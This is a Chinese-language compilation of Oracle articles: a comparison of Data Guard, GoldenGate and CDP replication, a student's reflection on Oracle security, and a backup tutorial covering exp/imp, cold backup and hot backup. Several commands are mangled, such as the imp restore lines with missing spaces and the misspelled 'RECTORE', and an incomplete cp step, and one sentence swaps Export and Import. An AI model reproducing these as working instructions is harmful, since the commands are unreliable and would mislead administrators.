无论物理备用数据库还是逻辑备用数据库,Data Guard通过提取归档日志文件中相关信息。对备用数据库进行数据操作的重做,以实现主、备数据库的同步。

对于物理备用数据库米讲,它接收到的redo record是按图2的方式:

redo apply维持一个standby database是通过精确的物理块来进行主数据库的备份。RFS(远程服务器进程)进程从主数槲库接收到redo record,并将其写入备用数据库的redo log(后面将被简称为SRL)。redo apply通过介质恢复服务将SRL中的redo record读入内存中,介质恢复协调器(MRPO)管理恢复session,并分析redo映射到不同的apply进程。不同的apply进程读取映射的数据块,并将其写入相应改变的数据块。redo apply会自动设置与cpu数日相等的apply进程。

对于逻辑备用数据库来讲,它接收到的redo record是按下图3的方式:

SQL apply使用的是逻辑standby进程进行协调应用相应的redo log中的改变。SQL apply进程读取SRL,井通过LSP(Logical StandbyProcess)将其转化为逻辑的记录改变,并建立SQL事务,并应用这些SQL到standby DB上。

可以看出Data Guard的两种类型备用数据库,虽然都是通过归档口志来实现主数据库和备用数据库的数据一致性,但是过程却不相同:一个是通过物理磁盘的方式,一个是通过重新生成SQL事物来完成数据同步。

技术二:Oracle GoldenGate

GoldenGate是一种基于日志的结构化数据复制技术,它通过解析源数据库在线日志或归档日志获得数据的增量变化,再将这些变化应用到目标数据库,从而实现源数据库与目标数据库同步。GoldenGate可以在异构的IT基础结构(包括几乎所有常用操作系统平台和数据库平台)之间实现大量数据的实时复制(大概5秒以内的延迟),从而可以在应急系统、在线报表、实时数据仓库供应、交易跟踪、数据同步、集中/分发、容灾等多个场景下应用。

Oracle GoldenGate技术捕捉源数据库日志文件中记录的对象操作信息,并传递到目的数据库,通过对有关数据库对象执行相关的操作,实现目的数据库与源数据库的同步。在获取数据库变化的机制上,Oracle GoldenGate与Data Guard有相似之处,都是通过捕捉日志文件中相关的信息实现的,但Data Guard是把归档日志文件传递到备用数据库,然后由目的数据库(备用数据库)完成重做操作。GoldenGate则是使用源数据库的捕捉进程,通过捕捉进程完成在线日志或归档日志的分析过滤,形成Trail文件。然后将Trail文件通过加密传送到目标地,然后解析成SQL语句导入目标数据库中。

GoldenGate技术中的目的数据库可以是一对一的关系.一对多的关系。也可以是多对一的关系,甚至是多对多关系。源队列与目的队列间信息的传递路径可以是多层的,信息可以经过中间数据库后再被转发至目的数据库。

由于GoldenGate是通过分析过滤日志来捕捉变化,GoldenGate可以实现跨平台的数据库复制以及非Oracle数据库的数据同步。

技术三:CDP方式

CDP(Continue DataProtection持续数据保护)是一项新兴的技术,也是目前最热门的数据保护技术之一。行业内通常的定义为:持续数据保护是一套方法,它可以捕获或跟踪数据的变化,并将其在生产数据之外独立存放,以确保数据可以恢复到过去的任意时间点。持续数据保护系统可以基于块、文件或应用实现,可以为恢复对象提供足够细的恢复粒度,实现几乎无限多的恢复时间点(见图5)。

目前市场上主流的CDP产品通过在操作系统核心层中植入文件过滤驱动程序,来实时捕获所有文件访问操作。对于需要CDP连续备份保护的文件,当CDP管理模块经由文件过滤驱动拦截到其改写操作时,则预先将文件数据变化部分连同当前的系统时间戳(System Time Stamp)一起自动备份到UnaCDP存储体。从

理论上说,任何一次的文件数据变化都会被自动记录,因而称之为持续数据保护。

由于Oracle数据库对读写一致性的特殊性要求,CDP厂商通常是通过调用Oracle9.2后提供的快照技术,能够在数据库正常运行的同时生成某一个时间点的一致性的镜像(注意一定是一致性镜像),Oracle数据库支持在这个一致性镜像基础上通过recoverdatabase,达到一致性的恢复。

技术比较

通过对这三种技术的介绍,不难看出,这三种技术都实现了数据库的灾难备份,但各有特点,存在以下几方面的不同。

基本原理

Oracle Data Guard是通过Oracle数据库归档日志来实现的,并且通过Oracle Net来传输日志;Oracle GoldenGate是通过对归档日志的捕捉并分析其的变化来实现的,有自己独享的传输方式;CDP技术是通过数据库镜像来来变现数据同步,数据库镜像的归档以及传送策略是通过CDP软件来完成。Oracle DataGuard无论是物理备州或者逻辑备用都最多只能使数据库处在同时读的状态,不能实现同时读写,只能实现主机和备机的单活状态;Oracle GoldenGate由于其实现方式,两端数据库都处在双活状态,备份端可以提供实时的数据查询及报表业务等,从而提高系统整体的业务处理能力,充分利用备份端的计算能力,提升系统整体业务处理性能。可以实现两端数据的同时写入。CDP由于是操作系统及实现数据同步,因此不能实现数据库的双活,两个数据库的状态只能实现单活的状态。

切换的时效性

Data Guard在主备切换时需要改变数据库的状态才能使备用数据库达到可读写状态,Oracle GoldenGate在情况发生时,可以立即实现服务器的切换。CDP需要改变整个系统的状态才能将备用系统达到可用。

对异构数具库的支持

Data Guard通过物理和逻辑的方式在备用机上还原数据库的日志,因此不支持异构数据库,也不支持异构的操作系统;GoldenGate通过分析主数据库的日志来完成tail文件,因此支持异构数据库,也支持异构的操作系统。CDP是通过操作系统层面完成数据同步的,因此不支持异构数据库,更不支持异构的操作系统。

系统资源的占用

Data Guard在完成数剧同步过程中需要占用数据库的一部份资源比如LGWR、ARCN和Net manger进程或服务等,对数据库有较大的影响,使数据库性能下降。GoldenGate和CDP是动态监控方式,对资源的消耗样相对较少。

支持Oracle的归档方式

Data

Guard和GoldenGate都是通过日志来实现数据库的数据同步,因此必须要求Oracle数剧库处在归档状态。而CDP因为其的实现方式,就没有这样的需求。

结语

Oracle数据库 篇9

这门课主要是为我们在以前学过的数据库的基础上让我们更深入的加强对Oracle数据库的理解,让我们从它的结构,它的功能,它的对象以及多种方面去感受它。

老师每节课都说了不同的内容,然而我个人最关心的还是关于Oracle数据库的安全性。安全是现如今人人都在关注的问题,特别是计算机安全。如今每家每户的生活都离不开电脑,其中的安全问题更是大家在乎的重点。我们使用的软件,各种网络数据库的安全性我们尤为关心。

Oracle数据库经过30多年的发展,现如今已经为各个领域所使用,已经在数据库市场中占据了主导地位。在当今世界500强企业中,70%企业使用的是Oracle数据库,世界十大B2C公司全部使用Oracle数据库,世界十大B2B公司中有9家使用的是Oracle数据库。

为何Oracle会有如此的成就,能在众多数据库中脱颖而出?安全当然是第一原因。从一开始,Oracle就提供了业界最先进的技术来保护存储在数据库中的数据。Oracle提供了全面的安全性解决方案组合来保护数据隐私,防范内部威胁,并确保遵守法规。借助Oracle强大的数据库活动监控和分块、授权用户和多要素访问控制、数据分类、透明的数据加密、统一的审计和报表编制、安全的配置管理和数据屏蔽等强大功能,用户无需对现有应用程序做任何改变即可部署可靠的数据安全性解决方案,从而节省时间和金钱。

与此同时,Oracle公司也推出了许多安全性产品,例如数据防火墙,数据屏蔽,全面回忆等。

然而,随着时代的发展和Oracle被不断的应用,导致其中信息量逐渐增加,数据库的安全性越来越重要。防止数据丢失等事件的措施也越来越重要。对数据的管理也越来越严谨。

首先就是用户管理。用户和Oracle呈现一对一的关系,即一个口令对应一个用户,使每个用户的信息相对独立。还有很重要的权限系统,可以区分普通用户和管理员,方便信息管理和保存,同时也可以是用户的信息得到更安全的保存,不致使信息泄露等问题的发生。其次是系统权限。它可以选择用户给予相应的权限,确保信息不会被除管理开发人员意外的人盗用。

最后就是数据的备份。每个系统都不会是完美的,总会出现损坏的现象。数据备份就是防止各种损坏中数据的丢失和遗漏,也为数据库管理员解决了一个大麻烦。

Oracle数据库 篇10

一、导出/导入 (Export/Import)

利用Export可将数据从数据库中提取出来, 利用Import则可将提取出来的数据送回Oracle数据库中去。

(一) 简单导出数据 (Export) 和导入数据 (Im-port)

Oracle支持三种类型的输出:

1. 表方式 (T方式) , 将指定表的数据导出。

2. 用户方式 (U方式) , 将指定用户的所有对象及数据导出。

3. 全库方式 (Full方式) , 将数据库中的所有对象导出。

数据导出 (Import) 的过程是数据导入 (Export) 的逆过程, 它们的数据流向不同。

(二) 增量导出/导入

增量导出是一种常用的数据备份方法, 它只能对整个数据库来实施, 并且必须作为SYSTEM来导出。在进行此种导出时, 系统不要求回答任何问题。导出文件名缺省为export.dmp, 如果不希望自己的输出文件定名为export.dmp, 必须在命令行中指出要用的文件名。

增量导出包括三个类型:

1.“完全”增量导出 (Complete)

即备份整个数据库, 比如:

$exp system/manager inctype=complete file=990702.dmp

2.“增量型”增量导出

备份上一次备份后改变的数据。比如:

$exp system/manager inctype=incremental file=990702.dmp

3.“累计型”增量导出 (Cumulative)

累计型导出方式只是导出自上次“完全”导出之后数据库中变化了的信息。比如:

$exp system/manager inctype=cumulative file=990702.dmp

数据库管理员可以排定一个备份日程表, 用数据导出的三个不同方式合理高效地完成。

比如数据库的备份任务可作如下安排:

星期一:完全导出 (A)

星期二:增量导出 (B)

星期三:增量导出 (C)

星期四:增量导出 (D)

星期五:累计导出 (E)

星期六:增量导出 (F)

星期日:增量导出 (G)

如果在星期日, 数据库遭到意外破坏, 数据库管理员可按以下步骤来恢复数据库:

第一步:用命令CREATE DATABASE重新生成数据库结构;

第二步:创建一个足够大的附加回段。

第三步:完全增量导入A:

$impsystem./managerinctype=RECTORE FULL=Y FILE=A

第四步:累计增量导入E:

$impsystem/managerinctype=RECTORE FULL=Y FILE=E

第五步:最近增量导入F:

$impsystem/managerinctype=RESTORE FULL=Y FILE=F

二、冷备份

冷备份发生在数据库已经正常关闭的情况下, 当正常关闭时会提供给我们一个完整的数据库。冷备份是将关键性文件拷贝到另外位置的一种说法。对于备份Oracle信息而言, 冷备份是最快和最安全的方法。

(一) 冷备份的优点

1. 是非常快速的备份方法 (只需拷贝文件) ;

2. 容易归档 (简单拷贝即可) ;

3. 容易恢复到某个时间点上 (只需将文件再拷贝回去) ;

4. 能与归档方法相结合, 作数据库“最新状态”的恢复;

5. 低度维护, 高度安全。

(二) 冷备份的不足

1. 单独使用时, 只能提供到“某一时间点上”的恢复;

2. 在实施备份的全过程中, 数据库必须要作备份而不能作其它工作。也就是说, 在冷备份过程中, 数据库必须是关闭状态;

3. 若磁盘空间有限, 只能拷贝到磁带等其它外部存储设备上, 速度会很慢;

4. 不能按表或按用户恢复。

如果可能的话 (主要看效率) , 应将信息备份到磁盘上, 然后启动数据库 (使用户可以工作) 并将所备份的信息拷贝到磁带上 (拷贝的同时, 数据库也可以工作) 。冷备份中必须拷贝的文件包括:

(1) 所有数据文件;

(2) 所有控制文件;

(3) 所有联机REDO LOG文件;

(4) Init.ora文件 (可选) 。

值得注意的是冷备份必须在数据库关闭的情况下进行, 当数据库处于打开状态时, 执行数据库文件系统备份是无效的。

5. 下面是做冷备份的完整例子。

(1) 关闭数据库:

$sqldba lmode=y

SQLDBA>connect internal;

SQLDBA>shutdown normal;

(2) 用拷贝命令备份全部的时间文件、重做日志文件、控制文件、初始化参数文件:

SQLDBA>!cp

(3) 重启Oracle数据库:

$sqldba lmode=y

SQLDBA>connect internal;

SQLDBA>startup;

三、热备份

热备份是在数据库运行的情况下, 采用archivelog mode方式备份数据的方法。所以, 如果你有昨天夜里的一个冷备份而且又有今天的热备份文件, 在发生问题时, 就可以利用这些资料恢复更多的信息。热备份要求数据库在Archivelog方式下操作, 并需要大量的档案空间。一旦数据库运行在archivelog状态下, 就可以做备份了。热备份的命令文件由三部分组成:

(一) 数据文件一个表空间一个表空间地备份

1. 设置表空间为备份状态;

2. 备份表空间的数据文件;

3. 恢复表空间为正常状态。

(二) 备份归档log文件

1. 临时停止归档进程;

2. log下那些在archive redo log目标目录中的文件;

3. 重新启动archive进程;

4. 备份归档的redo log文件。

(三)

用alter database backup controlfile命令来备份拷贝文件。

(四) 热备份的优缺点

1. 热备份的优点

(1) 可在表空间或数据文件级备份, 备份时间短;

(2) 备份时数据库仍可使用;

(3) 可达到秒级恢复 (恢复到某一时间点上) ;

(4) 可对几乎所有数据库实体作恢复;

(5) 恢复是快速的, 在大多数情况下在数据库仍工作时恢复。

2. 热备份的不足

(1) 不能出错, 否则后果严重;

(2) 若热备份不成功, 所得结果不可用于时间点的恢复;

上一篇:新疆巴里坤下一篇:节能综合优化论文